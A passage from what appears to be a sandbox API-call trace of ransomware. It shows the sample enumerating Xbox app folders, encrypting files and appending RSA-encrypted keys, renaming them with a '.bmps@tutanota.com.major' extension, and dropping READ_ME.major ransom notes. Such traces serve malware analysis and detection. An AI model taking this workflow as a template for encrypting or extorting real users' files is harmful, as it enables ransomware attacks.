lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.214] CloseHandle (hObject=0x1374) returned 1 [0205.214] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\settings.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\settings\\settings.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0205.216] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.216] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0205.216] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6658b8 [0205.216] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60e300 [0205.216] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1374 [0205.216] GetFileSizeEx (in: hFile=0x1374, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0205.216] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d430 [0205.216] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d4b0 [0205.216] ReadFile (in: hFile=0x1374, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.216] SetFilePointer (in: hFile=0x1374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.217] WriteFile (in: hFile=0x1374, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.217] SetFilePointer (in: hFile=0x1374, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0205.217] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.217] WriteFile (in: hFile=0x1374, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.218] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.218] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.218] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.218] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.218] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="QFSmcPJrFwivyLXB1KyUAw2ChXcTVSGopd+5/S8JlqIZUZ8wxKefdaZqaPt9AnlB\n49rfQ870eJ+0kL9jOoGXHm1d6hWSTwL5oZroWePVLfEqsIlKVZwxPwIX/q8hi0To\n84I332uYwiyOQY5LSZmzuD8F50+Vc6vAkBNut/ETY8PqDHeL64k/q3XppuVVrKQU\ndfznOo2xirVFfdS2t42N208gQtoo1yRfd/eR1okqYLRPPIucHOoaTJG7Z+lf8Skv\nE3sqAKaF+B4I6dP4tiRy0tuqSNKS5kDozEr26/pGxjW9nGwdjcvg2k1UfHVu52ap\naJToL6qQ+4k7BsD+LI9JeA==\n", pcchString=0x2e3f9a8) returned 1 [0205.218] WriteFile (in: hFile=0x1374, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.218] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.218] WriteFile (in: hFile=0x1374, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.219] CloseHandle (hObject=0x1374) returned 1 [0205.219] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\settings\\roaming.lock"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Settings\\roaming.lock.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\settings\\roaming.lock.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0205.221] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94eafafc, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x94eafafc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3172bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2fd18 [0205.221] SetLastError (dwErrCode=0x0) [0205.221] GetLastError () returned 0x0 [0205.221] SetLastError (dwErrCode=0x0) [0205.221] GetLastError () returned 0x0 [0205.221] SetLastError (dwErrCode=0x0) [0205.221] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.221] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beb58 [0205.221] FindNextFileW (in: hFindFile=0x2f2fd18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94eafafc, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x94eafafc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3172bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.221] SetLastError (dwErrCode=0x0) [0205.221] GetLastError () returned 0x0 [0205.221] SetLastError (dwErrCode=0x0) [0205.221] GetLastError () returned 0x0 [0205.221] SetLastError (dwErrCode=0x0) [0205.221] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.221] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be5d8 [0205.221] FindNextFileW (in: hFindFile=0x2f2fd18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3172bf8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3172bf8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3172bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.222] SetLastError (dwErrCode=0x0) [0205.222] GetLastError () returned 0x0 [0205.222] SetLastError (dwErrCode=0x0) [0205.222] GetLastError () returned 0x0 [0205.222] SetLastError (dwErrCode=0x0) [0205.222] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f606e8 [0205.222] FindNextFileW (in: hFindFile=0x2f2fd18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3172bf8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3172bf8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3172bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.222] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x667348 [0205.222] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15867c3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd21f4513, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3172bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2fc98 [0205.222] SetLastError (dwErrCode=0x12) [0205.222] GetLastError () returned 0x12 [0205.222] SetLastError (dwErrCode=0x12) [0205.222] GetLastError () returned 0x12 [0205.222] SetLastError (dwErrCode=0x12) [0205.222] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.222] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be790 [0205.222] FindNextFileW (in: hFindFile=0x2f2fc98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15867c3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd21f4513, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3172bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.222] SetLastError (dwErrCode=0x12) [0205.222] GetLastError () returned 0x12 [0205.222] SetLastError (dwErrCode=0x12) [0205.222] GetLastError () returned 0x12 [0205.222] SetLastError (dwErrCode=0x12) [0205.222] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.223] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be898 [0205.223] FindNextFileW (in: hFindFile=0x2f2fc98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3172bf8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3172bf8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3172bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.223] SetLastError (dwErrCode=0x12) [0205.223] GetLastError () returned 0x12 [0205.223] SetLastError (dwErrCode=0x12) [0205.223] GetLastError () returned 0x12 [0205.223] SetLastError (dwErrCode=0x12) [0205.223] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f606e8 [0205.223] FindNextFileW (in: hFindFile=0x2f2fc98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3172bf8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3172bf8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3172bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.223] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666150 [0205.223] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9194e327, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x39a819cf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3172bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2ffd8 [0205.223] SetLastError (dwErrCode=0x12) [0205.223] GetLastError () returned 0x12 [0205.223] SetLastError (dwErrCode=0x12) [0205.223] GetLastError () returned 0x12 [0205.223] SetLastError (dwErrCode=0x12) [0205.223] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.223] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0205.224] FindNextFileW (in: hFindFile=0x2f2ffd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9194e327, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x39a819cf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3172bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.224] SetLastError (dwErrCode=0x12) [0205.224] GetLastError () returned 0x12 [0205.224] SetLastError (dwErrCode=0x12) [0205.224] GetLastError () returned 0x12 [0205.224] SetLastError (dwErrCode=0x12) [0205.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0205.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be210 [0205.224] FindNextFileW (in: hFindFile=0x2f2ffd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9194e327, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd223cdb7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9194e327, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0205.224] SetLastError (dwErrCode=0x12) [0205.224] GetLastError () returned 0x12 [0205.224] SetLastError (dwErrCode=0x12) [0205.224] GetLastError () returned 0x12 [0205.224] SetLastError (dwErrCode=0x12) [0205.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f606e8 [0205.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60788 [0205.224] SetLastError (dwErrCode=0x12) [0205.224] GetLastError () returned 0x12 [0205.224] SetLastError (dwErrCode=0x12) [0205.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e300 [0205.224] SetLastError (dwErrCode=0x12) [0205.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0205.225] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1380 [0205.226] WriteFile (in: hFile=0x1380, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0205.227] CloseHandle (hObject=0x1380) returned 1 [0205.227] FindNextFileW (in: hFindFile=0x2f2ffd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9194e327, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd223d8d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9194e327, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0205.227] SetLastError (dwErrCode=0x0) [0205.227] GetLastError () returned 0x0 [0205.227] SetLastError (dwErrCode=0x0) [0205.227] GetLastError () returned 0x0 [0205.227] SetLastError (dwErrCode=0x0) [0205.227] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60788 [0205.227] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605a8 [0205.227] SetLastError (dwErrCode=0x0) [0205.227] GetLastError () returned 0x0 [0205.227] SetLastError (dwErrCode=0x0) [0205.227] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e1d8 [0205.227] SetLastError (dwErrCode=0x0) [0205.227] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6631b0 [0205.227] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1380 [0205.230] WriteFile (in: hFile=0x1380, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0205.231] CloseHandle (hObject=0x1380) returned 1 [0205.231] FindNextFileW (in: hFindFile=0x2f2ffd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9194e327, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd223e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9194e327, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0205.231] SetLastError (dwErrCode=0x0) [0205.231] GetLastError () returned 0x0 [0205.231] SetLastError (dwErrCode=0x0) [0205.231] GetLastError () returned 0x0 [0205.232] SetLastError (dwErrCode=0x0) [0205.232] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f607b0 [0205.232] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605a8 [0205.232] SetLastError (dwErrCode=0x0) [0205.232] GetLastError () returned 0x0 [0205.232] SetLastError (dwErrCode=0x0) [0205.232] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e678 [0205.232] SetLastError (dwErrCode=0x0) [0205.232] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0205.232] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1380 [0205.233] WriteFile (in: hFile=0x1380, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0205.233] CloseHandle (hObject=0x1380) returned 1 [0205.233] FindNextFileW (in: hFindFile=0x2f2ffd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3172bf8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3172bf8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3172bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.233] SetLastError (dwErrCode=0x0) [0205.233] GetLastError () returned 0x0 [0205.234] SetLastError (dwErrCode=0x0) [0205.234] GetLastError () returned 0x0 [0205.234] SetLastError (dwErrCode=0x0) [0205.234] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605a8 [0205.234] FindNextFileW (in: hFindFile=0x2f2ffd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9194e327, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd223eab9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9194e327, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0205.234] SetLastError (dwErrCode=0x0) [0205.234] GetLastError () returned 0x0 [0205.234] SetLastError (dwErrCode=0x0) [0205.234] GetLastError () returned 0x0 [0205.234] SetLastError (dwErrCode=0x0) [0205.234] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.234] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be210 [0205.234] FindNextFileW (in: hFindFile=0x2f2ffd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9194e327, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd223eab9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9194e327, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0205.234] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6657f0 [0205.234] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9162d1b2, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd223f2ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3172bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30018 [0205.234] SetLastError (dwErrCode=0x12) [0205.234] GetLastError () returned 0x12 [0205.234] SetLastError (dwErrCode=0x12) [0205.234] GetLastError () returned 0x12 [0205.234] SetLastError (dwErrCode=0x12) [0205.234] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be948 [0205.235] FindNextFileW (in: hFindFile=0x2f30018, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9162d1b2, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd223f2ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3172bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.235] SetLastError (dwErrCode=0x12) [0205.235] GetLastError () returned 0x12 [0205.235] SetLastError (dwErrCode=0x12) [0205.235] GetLastError () returned 0x12 [0205.235] SetLastError (dwErrCode=0x12) [0205.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0205.235] FindNextFileW (in: hFindFile=0x2f30018, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3172bf8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3172bf8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3172bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, 